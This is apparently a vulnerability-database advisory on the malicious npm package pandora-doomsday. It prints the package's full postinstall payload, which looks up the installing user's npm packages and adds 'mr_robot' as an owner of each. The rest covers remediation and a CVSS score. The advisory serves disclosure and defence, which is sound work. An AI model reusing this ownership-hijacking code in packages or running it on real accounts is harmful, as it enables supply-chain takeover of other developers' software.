Malicious Package

Affecting pandora-doomsday package, ALL versions

Do your applications use this vulnerable package? Test your applications

Overview

pandora-doomsday is a malicious package that uses postinstall scripts to perform malicious activity, like adding the owner of the malicious package as an owner to all packages owned by the user who performed npm install.

This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.

PoC:

function currentUser(cb) {
  exec('npm whoami', function (err, stdout, stderr) {
    if (!err) cb(stdout);
  });
}

function addOwner(packageName, newOwner) {
  exec('npm owner add ' + newOwner + ' ' + packageName);
}

function getModulesOwned(user, cb) {
  var url = 'https://www.npmjs.org/~' + user;

  request(url, function (error, response, body) {
    var $ = cheerio.load(body);
    var packages = $('.collaborated-packages a').map(function (i, el) {
      return $(this).text();
    }).get();

    cb(packages);
  });
}

currentUser(function (user) {
  if (user) {
    getModulesOwned(user, function (modules) {
      modules.forEach(function (moduleName) {
        addOwner(moduleName, 'mr_robot');
      });
    });
  }
});

The list of packages and their scripts are:

shrugging-logging
test-module-a
pandora-doomsday

Remediation

Avoid usage of this package altogether.

References

CVSS Score

8.8
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    Required
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:U/RC:C
Credit
Jordan Wright
CVE
CVE-2017-16127
CWE
CWE-506
Snyk ID
npm:pandora-doomsday:20170917
Disclosed
08 Aug, 2017
Published
17 Sep, 2017